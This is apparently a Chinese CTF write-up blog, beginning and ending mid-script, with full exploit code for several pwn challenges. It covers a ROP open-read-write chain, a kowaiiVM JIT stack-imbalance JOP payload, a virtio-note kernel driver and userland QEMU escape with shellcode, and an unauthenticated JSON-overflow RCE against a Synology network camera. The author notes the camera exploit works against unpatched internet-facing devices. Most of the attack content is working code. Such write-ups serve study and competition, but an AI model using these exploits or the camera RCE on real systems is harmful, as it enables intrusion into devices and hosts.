    fake_vm_code += b"X"*(0xc-((len(fake_vm_code)-8)%0xc))
    fake_vm_code += b"%a%a%#XDDDD\x00"
    fake_vm_code += b"%a%a%#XDDDD\x00"
    #fake_vm_code += b"%a%#V%yXXXX\x00"
    #fake_vm_code += b"%a%#V%yXXXX\x00"
    fake_vm_code += b"%APPPPPPPPP\x00"
    fake_vm_code += b"QWERQWERQWE\x00"

    fake_vm_code += make_vm_code(b"%Q", 0)
    fake_vm_code += make_vm_code(b"%a", 0)
    fake_vm_code_xor = b"".join([bytes([_c ^ (90 ^ 50)]) for _c in fake_vm_code])
    log.info(f"fake_vm_code_xor(len: {len(fake_vm_code_xor)}): {fake_vm_code_xor}")
    
    #gdb.attach(p, "b *0x555555554000+0x201E\nc\n")
    option3((90 ^ 50), len(fake_vm_code_xor)//4, fake_vm_code_xor) # hijack ret_addr to n^90
    p.sendline(b"-2171") # (-(0x65cc-8)) // 4

    # ===========================================================

    p.recvuntil(b"FUCK")
    p.recvuntil(b"FUCK")

    #p.sendline(f"-{(curr_mem_chunk_base-heap_base-0xca8)//4}".encode())
    #p.sendline(f"-{(curr_mem_chunk_base-heap_base-0xca8)//4-1}".encode())

    libc_gets = libc_base + libc.symbols[b"gets"]
    p.sendline(f"{libc_gets & 0xffffffff}".encode())
    p.sendline(f"-{(curr_mem_chunk_base-heap_base-0xca8-0x410)//4}".encode())
    p.sendline(f"{libc_gets >> 32}".encode())
    p.sendline(f"-{(curr_mem_chunk_base-heap_base-0xca8-0x410)//4-1}".encode())    

    libc_mprotect = libc_base + libc.symbols[b"mprotect"]
    libc_open = libc_base + libc.symbols[b"open"]
    libc_read = libc_base + libc.symbols[b"read"]
    libc_write = libc_base + libc.symbols[b"write"]
    libc_syscall = libc_base + libc.symbols[b"syscall"]
    pop_rdi_ret = libc_base + 0x10f75b
    pop_rsi_ret = libc_base + 0x2b46b # pop rsi ; pop rbp ; ret
    pop_rdx_ret = libc_base + 0xb502c # pop rdx ; xor eax, eax ; pop rbx ; pop r12 ; pop r13 ; pop rbp ; ret
    pop_rax_ret = libc_base + 0xdd237
    syscall = libc_base + 0x288b5
    
    payload = b"a"*0xc8 + p64(canary_leak)
    payload = payload.ljust(0xe8, b"a") + p64(canary_leak)
    payload = payload.ljust(0x128, b"a")
    payload += p64(pop_rdi_ret) + p64(elf_base)
    payload += p64(pop_rsi_ret) + p64(0x3000) + p64(0xdeadbeef)
    payload += p64(pop_rdx_ret) + p64(7) + p64(0xdeadbeef)*4
    payload += p64(libc_mprotect)
    payload += p64(pop_rdi_ret) + p64(0)
    payload += p64(pop_rsi_ret) + p64(elf_base) + p64(0xdeadbeef)
    payload += p64(pop_rdx_ret) + p64(0x100) + p64(0xdeadbeef)*4
    payload += p64(libc_read)
    payload += p64(pop_rdi_ret) + p64(2)
    payload += p64(pop_rsi_ret) + p64(elf_base) + p64(0xdeadbeef)
    payload += p64(pop_rdx_ret) + p64(0) + p64(0xdeadbeef)*4
    payload += p64(libc_syscall)
    payload += p64(pop_rdi_ret) + p64(3)
    payload += p64(pop_rsi_ret) + p64(elf_base) + p64(0xdeadbeef)
    payload += p64(pop_rdx_ret) + p64(0x100) + p64(0xdeadbeef)*4
    payload += p64(libc_read)
    payload += p64(pop_rdi_ret) + p64(1)
    payload += p64(pop_rsi_ret) + p64(elf_base) + p64(0xdeadbeef)
    payload += p64(pop_rdx_ret) + p64(0x100) + p64(0xdeadbeef)*4
    payload += p64(libc_write)
    
    payload += p64(0xdeadbeef)
    pause()
    p.sendline(payload)

    p.send(b"flag\x00")
    p.recvuntil(b"flag{")
    flag = p.recvuntil(b"}").decode()
    log.info(f"flag: flag{{{flag}")

    p.interactive()
    
if __name__ == "__main__":
    exp()
偷偷吐槽一下垃圾到令人反胃的国内“安全”竞赛环境,距离上次 DEF CON 结束挺久了,好不容易抽出时间打一场比赛还得被恶心

kowaiiVM

漏洞点

2024-03-06T10:20:44.png

2024-03-06T10:21:17.png

无论是 VM 实现还是 JIT 实现中的 push / pop 都没有检查单个函数中的栈平衡,VM 层只检查了上下界,很明显通过 caller 提前压栈就可以避免越界

利用

在原始 VM 层和 JIT 层都可以通过不平衡的 push pop 劫持返回地址,但是需要绕过 JIT code 生成过程中的栈平衡检查。还有要思考的点就是如何让 VM 层和 JIT 层实现同样劫持到某个偏移上时,效果不同,但是又合理合法,并且能够让 JIT code escape一段空间,使得指令 imm 部分的 JOP shellcode 能够链接上。

from pwn import *

context.log_level = "debug"
context.arch = "amd64"

'''
typedef struct __attribute__((__packed__)) kowaiiFuncEntry
{
    u16 hash;
    u64 addr;
    u8 size;
    u8 callCount;
} kowaiiFuncEntry;

typedef struct __attribute__((__packed__)) kowaiiBin
{
    u8 kowaii[6];
    u16 entry;
    u32 magic;
    u16 bss;
    u8 no_funcs;
    kowaiiFuncEntry funct[];
} kowaiiBin;

typedef struct __attribute__((__packed__)) kowaiiRegisters
{
    u64 x[MAX_REGS];
    u8 *pc;
    u64 *sp; 
    u64 *bp;
} kowaiiRegisters;
'''

'''
/* Opcodes */
#define ADD               0xb0
#define SUB               0xb1
#define MUL               0xb2
#define SHR               0xb3
#define SHL               0xb4
#define PUSH              0xb5
#define POP               0xb6
#define GET               0xb7
#define SET               0xb8
#define MOV               0xb9
#define CALL              0xba
#define RET               0xbb
#define NOP               0xbc
#define HLT               0xbf
'''

def gen_func_entry(hash, addr, size, callCount):
    return p16(hash) + p64(addr) + p8(size) + p8(callCount)

def pack_kowaii_bin(entry, bss, no_funcs, entry_list, code_data):
    buf = b"KOWAII" + p16(entry) + p32(0xdeadc0de) + p16(bss) + p8(no_funcs)
    for func_entry in entry_list:
        buf += func_entry
    buf = buf.ljust(0x1000, b"\x00")
    buf += code_data
    return buf

############################## Hack Function ##############################
hack_func_code = b""
# control balanceStack vector when JITgen and make it don't crash the key heap metadata...
for _ in range(0xf):
    hack_func_code += p8(0xb5) + p8(0)                  # push reg[0]
for _ in range(0xf):
    hack_func_code += p8(0xb6) + p8(0)                  # pop reg[0]
hack_func_code += p8(0xb6) + p8(0)                      # pop reg[0]
for _ in range(8):
    hack_func_code += p8(0xb6) + p8(2)                  # pop reg[2]
hack_func_code += p8(0xb9) + p8(1) + p32(3)             # mov reg[1], 3 # modify retaddr to retaddr+3
hack_func_code += p8(0xb0) + p8(0) + p8(0) + p8(1)      # reg[0] = reg[0] + reg[1]
hack_func_code += p8(0xb5) + p8(0)                      # push reg[0]
hack_func_code += p8(0xbb)                              # ret
hack_func_hash = 0x1111
hack_func_entry = gen_func_entry(hack_func_hash, 0x4000, len(hack_func_code), 0)
##########################################################################


############################## JIT Function ##############################
jit_func_code = b""
# prepare enough space for hack_func() to hack balanceStack vector
for _ in range(8):
    jit_func_code += p8(0xb5) + p8(0)                                       # push reg[0]
jit_func_code += p8(0xba) + p16(hack_func_hash)                             # call hack_func
# this will ret in a shifted position
tmp = p8(0xff) + p8(0xb9) + p8(0) + b"\xaa" + p8(0xbc) + p8(0xbc)+ p8(0xbc) # 0xff, mov reg[0], value32(value16(b"\xaa\xbb")+value8(nop)+value8(nop)+value8(nop))
jit_func_code += p8(0xb9) + p8(0) + tmp                                     # mov reg[0], value32(tmp[:4]); nop; nop; nop

# JOP shellcode
jit_func_code += p8(0xb9) + p8(0) + asm("push r8;")+b"\xeb\x02"             # set rbx to 0
jit_func_code += p8(0xb9) + p8(0) + asm("pop rbx; nop;")+b"\xeb\x02"
## open
jit_func_code += p8(0xb9) + p8(0) + asm("push rbx; pop rcx;")+b"\xeb\x02"   # clear rcx
jit_func_code += p8(0xb9) + p8(0) + asm("push rbx; pop rdi;")+b"\xeb\x02"   # clear rdi
jit_func_code += p8(0xb9) + p8(0) + asm("push rdx; pop rdi;")+b"\xeb\x02"   # load &"flag.txt" into rdi
jit_func_code += p8(0xb9) + p8(0) + asm("push rbx; pop rsi;")+b"\xeb\x02"   # clear rsi
jit_func_code += p8(0xb9) + p8(0) + asm("push rbx; pop rdx;")+b"\xeb\x02"   # clear rdx
jit_func_code += p8(0xb9) + p8(0) + asm("push rbx; pop rax;")+b"\xeb\x02"   # clear rax
jit_func_code += p8(0xb9) + p8(0) + asm("mov al, 0x2;")+b"\xeb\x02" 
jit_func_code += p8(0xb9) + p8(0) + asm("syscall;")+b"\xeb\x02"             # open("flag.txt", 0)
## read
jit_func_code += p8(0xb9) + p8(0) + asm("push rdi; pop rsi;")+b"\xeb\x02"
jit_func_code += p8(0xb9) + p8(0) + asm("push rax; pop rdi;")+b"\xeb\x02"
jit_func_code += p8(0xb9) + p8(0) + asm("push rbx; pop rcx;")+b"\xeb\x02"   # clear rcx
jit_func_code += p8(0xb9) + p8(0) + asm("mov cl, 0xff;")+b"\xeb\x02"
jit_func_code += p8(0xb9) + p8(0) + asm("push rcx; pop rdx;")+b"\xeb\x02"
jit_func_code += p8(0xb9) + p8(0) + asm("push rbx; pop rax;")+b"\xeb\x02"   # clear rax
jit_func_code += p8(0xb9) + p8(0) + asm("mov al, 0x0;")+b"\xeb\x02" 
jit_func_code += p8(0xb9) + p8(0) + asm("syscall;")+b"\xeb\x02"             # read(rax, bss, 0xff)
## write
jit_func_code += p8(0xb9) + p8(0) + asm("push rbx; pop rcx;")+b"\xeb\x02"   # clear rcx
jit_func_code += p8(0xb9) + p8(0) + asm("mov cl, 0x1;")+b"\xeb\x02"         # stdout
jit_func_code += p8(0xb9) + p8(0) + asm("push rcx; pop rdi;")+b"\xeb\x02"
jit_func_code += p8(0xb9) + p8(0) + asm("push rbx; pop rcx;")+b"\xeb\x02"   # clear rcx
jit_func_code += p8(0xb9) + p8(0) + asm("mov cl, 0xff;")+b"\xeb\x02"
jit_func_code += p8(0xb9) + p8(0) + asm("push rcx; pop rdx;")+b"\xeb\x02"
jit_func_code += p8(0xb9) + p8(0) + asm("push rbx; pop rax;")+b"\xeb\x02"   # clear rax
jit_func_code += p8(0xb9) + p8(0) + asm("mov al, 0x1;")+b"\xeb\x02" 
jit_func_code += p8(0xb9) + p8(0) + asm("syscall;")+b"\xeb\x02"             # write(1, bss, 0xff)
jit_func_code += p8(0xb9) + p8(0) + b"\x90\x90\xeb\x02"
jit_func_code += p8(0xbb) # ret
jit_func_hash = 0x2222
jit_func_entry = gen_func_entry(jit_func_hash, 0x3000, len(jit_func_code), 0xa-1)
########################################################################


############################ Dummy Function ############################
dummy_func_code = b""
for _ in range(0xa):
    dummy_func_code += p8(0xba) + p16(jit_func_hash)                # call jit_func
dummy_func_code += p8(0xba) + p16(jit_func_hash)                    # call jit_func
dummy_func_code += p8(0xbb) # ret
dummy_func_hash = 0x3333
dummy_func_entry = gen_func_entry(dummy_func_hash, 0x2000, len(dummy_func_code), 0)
########################################################################


############################ Entry Code ################################
entry_code = b""
# store "flag.txt" string into bss
entry_code += p8(0xb9) + p8(1) + b"flag"                # mov reg[1], u32("flag")
entry_code += p8(0xb8) + p8(1) + p32(0)
entry_code += p8(0xb9) + p8(1) + b".txt"                # mov reg[1], u32(".txt")
entry_code += p8(0xb8) + p8(1) + p32(0x4)
entry_code += p8(0xb9) + p8(1) + b"\x00\x00\x00\x00"    # mov reg[1], u32("\x00\x00\x00\x00")
entry_code += p8(0xb8) + p8(1) + p32(0x8)
entry_code += p8(0xba) + p16(dummy_func_hash)           # call dummy_func_code
entry_code += p8(0xbf) # hlt
########################################################################


############################ Pack Bin Data #############################
code_data = entry_code.ljust(0x1000, b"\x00")           # 0x1000
code_data += dummy_func_code.ljust(0x1000, b"\x00")     # 0x2000
code_data += jit_func_code.ljust(0x1000, b"\x00")       # 0x3000
code_data += hack_func_code.ljust(0x1000, b"\x00")      # 0x4000

exec_entry = 0x1000
bss_start = 0xc000
func_entry_list =[jit_func_entry, hack_func_entry, dummy_func_entry]
bin_data = pack_kowaii_bin(exec_entry, bss_start, len(func_entry_list), func_entry_list, code_data)
########################################################################

with open("exp.bin", "wb") as f:
    f.write(bin_data)

virtio-note

漏洞

2024-03-06T10:24:33.png

处理 virtio 请求的时候允许下标越界,请求的结构体定义如下

2024-03-06T10:25:18.png

往环形队列里写这个请求结构的数据就可以正常交互

利用

需要同时编写一个内核驱动和用户态程序来完成整个交互,漏洞就是基本的下标越界,越界范围在堆上,可以读写任意下标偏移处的指针——前提是这里刚好存在一个合法的指针。难点主要在于找到稳定的 leak 对象,以及构造任意地址写原语。任意地址写可以通过修改一个引用了同样位于下标可覆盖区域的字符串的字符串指针,将该指针表示的字符串覆盖为一个地址值,这样在某个下标就会多出一个攻击者指定的指针。有了任意地址读写,接下来可以使用 QEMU 用于 JIT 的一个巨大 RWX 段布置 shellcode 实现 open-read-write(这似乎是 QEMU 8.x 一个新特性,属于非预期思路)。

![Image description](https://bbs.xdsec.org/assets/files/2024-03-04/1709578206-611382-2956926b0caf5d7fd8d73507e0b3dda.png)

驱动

KERNELDIR := /home/eqqie/CTF/bi0sCTF2024/virtio-note/linux

obj-m := exp.o

all:
        make -C $(KERNELDIR) M=$(PWD) modules

clean:
        make -C $(KERNELDIR) M=$(PWD) clean
#include <linux/virtio.h>
#include <linux/module.h>
#include <linux/device.h>
#include <linux/pci.h>
#include <linux/interrupt.h>
#include <linux/io.h>               /* io map */
#include <linux/dma-mapping.h>      /* DMA */
#include <linux/kernel.h>           /* kstrtoint() func */
#include <linux/virtio_config.h>    /* find_single_vq() func */

MODULE_LICENSE("GPL v2");

#define VIRTIO_ID_NOTE 42
/* big enough to contain a string representing an integer */
#define MAX_DATA_SIZE 20

typedef enum {
    OP_READ,
    OP_WRITE
} operation;

typedef unsigned long hwaddr;

typedef struct req_t {
    unsigned int idx;
    hwaddr addr;
    operation op;
} req_t;

struct virtio_note_info {
        struct virtqueue *vq;
    /*
     * in - the data we get from the device
     * out - the data we send to the device
     */
    req_t in, out;
};


//-----------------------------------------------------------------------------
//                  sysfs - give user access to driver
//-----------------------------------------------------------------------------

static ssize_t
virtio_buf_store(struct device *dev, struct device_attribute *attr,
        const char *buf, size_t count)
{
    printk(KERN_INFO "virtio_buf_store\n");
    //char tmp_buf[MAX_DATA_SIZE];
    //int retval;
    struct scatterlist sg_in, sg_out;
    struct scatterlist *request[2];
    /* cast dev into a virtio_device */
    struct virtio_device *vdev = dev_to_virtio(dev);
    struct virtio_note_info *vi = vdev->priv;

    /* copy the user buffer since it is a const buffer */
    size_t copy_size = count > sizeof(req_t) ? sizeof(req_t) : count;
    memcpy(&vi->out, buf, copy_size);
    // log vi->out
    printk(KERN_INFO "vi->out.idx: %#x\n", vi->out.idx);
    printk(KERN_INFO "vi->out.addr: %#lx\n", vi->out.addr);
    printk(KERN_INFO "vi->out.op: %#x\n", vi->out.op);
    
    /* initialize a single entry sg lists, one for input and one for output */
    sg_init_one(&sg_out, &vi->out, sizeof(req_t));
    sg_init_one(&sg_in, &vi->in, sizeof(req_t));

    /* build the request */
    request[0] = &sg_out;
    request[1] = &sg_in;

    /* add the request to the queue, in_buf is sent as the buffer idetifier */
    virtqueue_add_sgs(vi->vq, request, 1, 1, &vi->in, GFP_KERNEL);

    /* notify the device */
    virtqueue_kick(vi->vq);

    return count;
}

static ssize_t
virtio_buf_show(struct device *dev, struct device_attribute *attr, char *buf)
{
    printk(KERN_INFO "virtio_buf_show\n");
    /* cast dev into a virtio_device */
    struct virtio_device *vdev = dev_to_virtio(dev);
    struct virtio_note_info *vi = vdev->priv;

    printk(KERN_INFO "vi->in.idx: %#x\n", vi->in.idx);
    printk(KERN_INFO "vi->in.addr: %#lx\n", vi->in.addr);
    printk(KERN_INFO "vi->in.op: %#x\n", vi->in.op);

    return 0;
}

/*
 * struct device_attribute dev_attr_virtio_buf = {
 *     .attr = {
 *         .name = "virtio_buf",
 *         .mode = 0644
 *     },
 *     .show = virtio_buf_show,
 *     .store = virtio_buf_store
 * }
 */
static DEVICE_ATTR_RW(virtio_buf);


/*
 * The note_attr defined above is then grouped in the struct attribute group
 * as follows:
 */
struct attribute *note_attrs[] = {
    &dev_attr_virtio_buf.attr,
    NULL,
};

static const struct attribute_group note_attr_group = {
    .name = "note", /* directory's name */
    .attrs = note_attrs,
};



//-----------------------------------------------------------------------------
//                              IRQ functions
//-----------------------------------------------------------------------------

static void note_irq_handler(struct virtqueue *vq)
{
    printk(KERN_INFO "IRQ handler\n");

    struct virtio_note_info *vi = vq->vdev->priv;
    unsigned int len;
    void *res = NULL;

    /* get the buffer from virtqueue */
    res = virtqueue_get_buf(vi->vq, &len);

    memcpy(&vi->in, res, len);
}


//-----------------------------------------------------------------------------
//                             driver functions
//-----------------------------------------------------------------------------


static int note_probe(struct virtio_device *vdev)
{
    printk(KERN_INFO "probe\n");
    int retval;
    struct virtio_note_info *vi = NULL;

    /* create sysfiles for UI */
    retval = sysfs_create_group(&vdev->dev.kobj, &note_attr_group);
    if (retval) {
        pr_alert("failed to create group in /sys/bus/virtio/devices/.../\n");
    }

    /* initialize driver data */
        vi = kzalloc(sizeof(struct virtio_note_info), GFP_KERNEL);
        if (!vi)
                return -ENOMEM;

        /* We expect a single virtqueue. */
        vi->vq = virtio_find_single_vq(vdev, note_irq_handler, "input");
        if (IS_ERR(vi->vq)) {
        pr_alert("failed to connect to the device virtqueue\n");
        }

    /* initialize the data to 0 */
    memset(&vi->in, 0, sizeof(req_t));
    memset(&vi->out, 0, sizeof(req_t));

    /* store driver data inside the device to be accessed for all functions */
    vdev->priv = vi;

    return 0;
}

static void note_remove(struct virtio_device *vdev)
{
        struct virtio_note_info *vi = vdev->priv;

    /* remove the directory from sysfs */
    sysfs_remove_group(&vdev->dev.kobj, &note_attr_group);

    /* disable interrupts for vqs */
    vdev->config->reset(vdev);

    /* remove virtqueues */
        vdev->config->del_vqs(vdev);

    /* free memory */
        kfree(vi);
}

/*
 * vendor and device (+ subdevice and subvendor)
 * identifies a device we support
 */
static struct virtio_device_id note_ids[] = {
    {
        .device = VIRTIO_ID_NOTE,
        .vendor = VIRTIO_DEV_ANY_ID,
    },
    { 0, },
};

/*
 * id_table describe the device this driver support
 * probe is called when a device we support exist and
 * when we are chosen to drive it.
 * remove is called when the driver is unloaded or
 * when the device disappears
 */
static struct virtio_driver note = {
        .driver.name =        "virtio_note",
        .driver.owner =        THIS_MODULE,
        .id_table =        note_ids,
        .probe =        note_probe,
        .remove =        note_remove,
};

//-----------------------------------------------------------------------------
//                          overhead - must have
//-----------------------------------------------------------------------------

/* register driver in kernel pci framework */
module_virtio_driver(note);
MODULE_DEVICE_TABLE(virtio, note_ids);

用户态

#include <stdio.h>
#include <string.h>
#include <stdint.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <assert.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <errno.h>
#include <sys/mman.h>
#include <sys/io.h>
#include <time.h>

#define PAGE_SHIFT  12
#define PAGE_SIZE   (1 << PAGE_SHIFT)
#define PFN_PRESENT (1ull << 63)
#define PFN_PFN     ((1ull << 55) - 1)

#define SYSFS_PATH "/sys/bus/virtio/devices/virtio0/note/virtio_buf"

// max 0x40 bytes in a single write
char shellcode[] = {0x6a, 0x01, 0xfe, 0x0c, 0x24, 0x48, 0xb8, 0x66, 0x6c, 0x61, 0x67, 0x2e, 0x74, 0x78, 0x74, 0x50, 0x48, 0x89, 0xe7, 0x31, 0xd2, 0x31, 0xf6, 0x6a, 0x02, 0x58, 0x0f, 0x05, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x48, 0x89, 0xc7, 0x31, 0xc0, 0x31, 0xd2, 0xb2, 0xff, 0x48, 0x89, 0xee, 0x0f, 0x05, 0x31, 0xff, 0x31, 0xd2, 0xb2, 0xff, 0x48, 0x89, 0xee, 0x6a, 0x01, 0x58, 0x0f, 0x05 };


typedef unsigned long hwaddr;

typedef enum {
    READ,
    WRITE
} operation;

typedef struct req_t {
    unsigned int idx;
    hwaddr addr;
    operation op;
} req_t;

int fd;
int sysfs_fd;

uint32_t page_offset(uint32_t addr) {
    return addr & ((1 << PAGE_SHIFT) - 1);
}

uint64_t gva_to_gfn(void *addr) {
    uint64_t pme, gfn;
    size_t offset;

    offset = ((uintptr_t)addr >> 9) & ~7;
    lseek(fd, offset, SEEK_SET);
    read(fd, &pme, 8);
    if (!(pme & PFN_PRESENT))
        return -1;
    gfn = pme & PFN_PFN;

    return gfn;
}

uint64_t gva_to_gpa(void *addr) {
    uint64_t gfn = gva_to_gfn(addr);
    assert(gfn != -1);
    return (gfn << PAGE_SHIFT) | page_offset((uint64_t)addr);
}

void virtio_write(unsigned int idx, hwaddr addr) {
    req_t write_buffer = {
        .idx = idx,
        .addr = addr,
        .op = WRITE,
    };
    write(sysfs_fd, (void *)&write_buffer, sizeof(req_t));
    usleep(300000);
}

void virtio_read(unsigned int idx, hwaddr addr) {
    req_t read_buffer = {
        .idx = idx,
        .addr = addr,
        .op = READ,
    };
    write(sysfs_fd, (void *)&read_buffer, sizeof(req_t));
    usleep(300000);
}

int main(int argc, char *argv[]) {
    int r;
    void *userbuf;
    uint64_t phy_userbuf;

    fd = open("/proc/self/pagemap", O_RDONLY);
    if (!fd) {
        perror("open pagemap");
        return -1;
    }

    sysfs_fd = open(SYSFS_PATH, 'r');

    /* allocate a user buffer */
    userbuf = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0);
    if (userbuf == MAP_FAILED) {
        perror("mmap userbuf");
        return -1;
    }
    mlock(userbuf, 0x1000);
    phy_userbuf = gva_to_gpa(userbuf);
    printf("userbuf: 0x%lx\n", (uint64_t) userbuf);
    printf("phy_userbuf: 0x%lx\n", phy_userbuf);

    char buffer[] = "THIS_IS_A_TEST\x00";
    memcpy(userbuf, buffer, strlen(buffer));

    // test
    virtio_write(0, phy_userbuf);
    memset(userbuf, 0, 0x1000);
    virtio_read(0, phy_userbuf);
    printf("userbuf = %s\n", userbuf);

    // leak elf_base
    uint64_t tmp_ptr = 0;
    memset(userbuf, 0, 0x1000);
    virtio_read(19, phy_userbuf);
    tmp_ptr = *(((unsigned long long *)userbuf)+4);
    printf("[*] leak tmp ptr: 0x%lx\n", tmp_ptr);
    uint64_t elf_base = tmp_ptr - 0x86c800;
    printf("[*] elf base: 0x%lx\n", elf_base);

    // leak obj_base
    tmp_ptr = 0;
    memset(userbuf, 0, 0x1000);
    virtio_read(56, phy_userbuf);
    tmp_ptr = *(((unsigned long long *)userbuf)+4);
    printf("[*] leak tmp ptr: 0x%lx\n", tmp_ptr);
    uint64_t obj_base = tmp_ptr - 0;
    printf("[*] obj base: 0x%lx\n", obj_base);
    uint64_t note_list = obj_base + 0x210;
    printf("[*] note list: 0x%lx\n", note_list);

    uint64_t ptr_l2_idx = 19;
    uint64_t ptr_l1_idx = 30;

    // test leak obj
    uint64_t leak_test_ptr1 = obj_base+0x78;
    memset(userbuf, 0, 0x1000);
    virtio_read(ptr_l2_idx, phy_userbuf);
    *(((unsigned long long *)userbuf)+0) = leak_test_ptr1;
    virtio_write(ptr_l2_idx, phy_userbuf);
    memset(userbuf, 0, 0x1000);
    virtio_read(ptr_l1_idx, phy_userbuf);
    uint64_t test_data1 = *(((unsigned long long *)userbuf)+0);
    printf("[*] test leak data1: 0x%lx\n", test_data1);
    // test leak elf
    uint64_t leak_test_ptr2 = elf_base;
    memset(userbuf, 0, 0x1000);
    virtio_read(ptr_l2_idx, phy_userbuf);
    *(((unsigned long long *)userbuf)+0) = leak_test_ptr2;
    virtio_write(ptr_l2_idx, phy_userbuf);
    memset(userbuf, 0, 0x1000);
    virtio_read(ptr_l1_idx, phy_userbuf);
    uint64_t test_data2 = *(((unsigned long long *)userbuf)+0);
    printf("[*] test leak data2: 0x%lx\n", test_data2);


    // write shellcode
    //uint64_t shellcode_addr = elf_base - 0x48236000;
    uint64_t shellcode_addr = elf_base - 0x20000000;
    memset(userbuf, 0, 0x1000);
    virtio_read(ptr_l2_idx, phy_userbuf);
    *(((unsigned long long *)userbuf)+0) = shellcode_addr;
    virtio_write(ptr_l2_idx, phy_userbuf);
    memset(userbuf, 0x90, 0x1000);
    memcpy(userbuf, shellcode, sizeof(shellcode)); // load shellcode
    virtio_write(ptr_l1_idx, phy_userbuf);
    printf("[*] write shellcode to: %#lx\n", shellcode_addr);

    // try hijack vnq->virtio_note_handle_req
    /* get vnq ptr */
    uint64_t vnq_ptr_pos = obj_base+520;
    memset(userbuf, 0, 0x1000);
    virtio_read(ptr_l2_idx, phy_userbuf);
    *(((unsigned long long *)userbuf)+0) = vnq_ptr_pos;
    virtio_write(ptr_l2_idx, phy_userbuf);
    memset(userbuf, 0, 0x1000);
    virtio_read(ptr_l1_idx, phy_userbuf);
    uint64_t vnq_ptr = *(((unsigned long long *)userbuf)+0);
    printf("[*] vnq ptr: 0x%lx\n", vnq_ptr);
    /* modify virtio_note_handle_req */    
    uint64_t callback_pos = vnq_ptr+0x58;
    memset(userbuf, 0, 0x1000);
    virtio_read(ptr_l2_idx, phy_userbuf);
    *(((unsigned long long *)userbuf)+0) = callback_pos;
    virtio_write(ptr_l2_idx, phy_userbuf);
    memset(userbuf, 0, 0x1000);
    virtio_read(ptr_l1_idx, phy_userbuf);
    *(((unsigned long long *)userbuf)+0) = shellcode_addr;
    virtio_write(ptr_l1_idx, phy_userbuf);
    printf("[*] hijack callback in: 0x%lx\n", callback_pos);    

    // trigger
    memset(userbuf, 0, 0x1000);
    virtio_read(30, phy_userbuf);


    close(sysfs_fd);

    return 0;
}

设备情况

这是一台网络摄像头,题目只开放了管理登录界面,应该是来自于前几个月 Pwn2Own 上的破解。

image-20240205161734787

折腾一天混了个三血

5cc76de70f83041d48c03a0381c5e33

利用思路

  1. 未授权接口+JSON 解析溢出,其中 buf1 和 buf2 可以控制

img

  1. 虽然可以溢出,但是难以劫持返回地址,因为栈上存在 key 和 json 两个对象在溢出被覆盖后需要传递给其他函数使用,并且最后会被析构,所以绕过和伪造比较困难。第二个难点是 json 通过 \uXXXX 嵌入不可见字符时会被 UTF8 编码导致 payload 破坏,并且默认 flags 下不支持传入 \u0000,很多地址无法使用(这一点需要通过逆向发现具体限制,不展开)。
  2. 观察发现栈上缓存的 lex_t 结构体在满足一定条件后可以劫持 lex_t->stream_t->get 这一函数指针

img

  1. 满足一些栈上变量的限制条件后,将这个指针劫持到SynoPopen函数中 popen 调用点附近的 gadget 上,实现有 8 字节可控的任意命令执行。之所以要找 popen 调用点是因为 CGI 体所在的地址空间刚好可以通过 \uXXXX 传入且不会被破坏。

img

  1. 由于请求者自定义的请求头也会被传递给 CGI,所以可以使用$ENV_NAME 的方式可以执行请求头中放置的命令,然后把 flag 写到 /www/index.html 直接读出来

img

  1. 地址随机化程度很低,exp 成功概率约为 1/5
from pwn import *
import os

context.log_level = "debug"

ip = "47.88.48.133"
port = 33803
p = remote(ip, port)
#p = remote("127.0.0.1", 8080)

def poc(cmd):
    payload =b"A"*(0xa4-8)+cmd.ljust(8, b";")+b"\u005c\u004d\u0041" + b" " + b"A"*(0x3c-32)+b"BBBB"+b",MA"
    value = b'""'
    json_data = b'{"' + payload + b'": ' + value + b'}'
    _data = json_data
    buf = b""
    buf += b"PUT /syno-api/session HTTP/1.1\r\n"
    buf += b"Accept: */*\r\n"
    buf += b"A: cp /flag /www/index.html\r\n"
    buf += b"Content-Type: application/json\r\n"
    buf += b"Content-Length: " + str(len(_data)).encode() + b"\r\n"
    buf += b"\r\n"
    buf += _data
    return buf

def exp():
    p.send(poc(b"$HTTP_A;"))
    print("Try to read flag...")
    os.system(f"curl http://{ip}:{port}/index.html")
    #p.interactive()

if __name__ == "__main__":
    exp()
  1. 目前该 EXP 可以直接攻击公网中未升级的设备,请勿用于非法用途

调试方法

  1. 如何获取设备终端?

    • 虽然模拟固件时可以得到一个 shell,但是由于模拟的问题终端会被报错信息填满,可以使用 telnetd -p 23 -l /bin/sh 开启 telnet 服务,然后在脚本上加一个 hostfw 参数映射 telnet 到主机上进行操作。
  2. 如何调试 CGI?

    • 方法1:提取 CGI 二进制文件,使用 qemu-user 进行模拟,只需要通过环境变量传递 HTTP 请求头和其它请求参数,通过 stdin 传递 POST 内容。缺点是地址空间与真实设备不符,对利用方式有影响,适合快速确定漏洞 PoC 以及进行一些 Fuzz 操作。

      from pwn import *
      import json
      import urllib
      
      context.log_level = "debug"
      
      payload = b"A"*53
      json_data = b'{"' + payload + b'": ""}'
      content_length = len(json_data)
      # elf base: 0x40000000
      # json lib: 0x3f78c000
      
      p = process(["./rootfs/qemu-arm-static", "-g", "1235", "--singlestep", "-L", "./rootfs/", "./rootfs/www/camera-cgi/synocam_param.cgi"], 
                  env={
                      "GATEWAY_INTERFACE": "CGI/1.1",
                      "CONTENT_TYPE": "application/json",
                      "ACTION_PREPARE": "yes",
                      "LOCAL_URI": "/syno-api/session",
                      "REMOTE_ADDR": "10.0.2.2",
                      "SHLVL": "1",
                      "DOCUMENT_ROOT": "/www",
                      "REMOTE_PORT": "34052",
                      "RESPONSE_TO": "SOCKET",
                      "HTTP_ACCEPT": "*/*",
                      "CONTENT_LENGTH": str(content_length),
                      "SCRIPT_FILENAME": "/www/camera-cgi/synocam_param.cgi",
                      "PATH_TRANSLATED": "/www",
                      "REQUEST_URI": "/syno-api/session",
                      "SERVER_SOFTWARE": "CivetWeb/1.15",
                      "LOCAL_URI_RAW": "/syno-api/session",
                      "PATH": "/sbin:/usr/sbin:/bin:/usr/bin",
                      "SERVER_PROTOCOL": "HTTP/1.1",
                      "HTTP_CONTENT_TYPE": "application/json",
                      "REDIRECT_STATUS": "200",
                      "REQUEST_METHOD": "PUT",
                      "PWD": "/www/camera-cgi",
                      "SERVER_ROOT": "/www",
                      "HTTPS": "off",
                      "SERVER_PORT": "80",
                      "SCRIPT_NAME": "/syno-api/session",
                      "ACTION_QUERY": "yes",
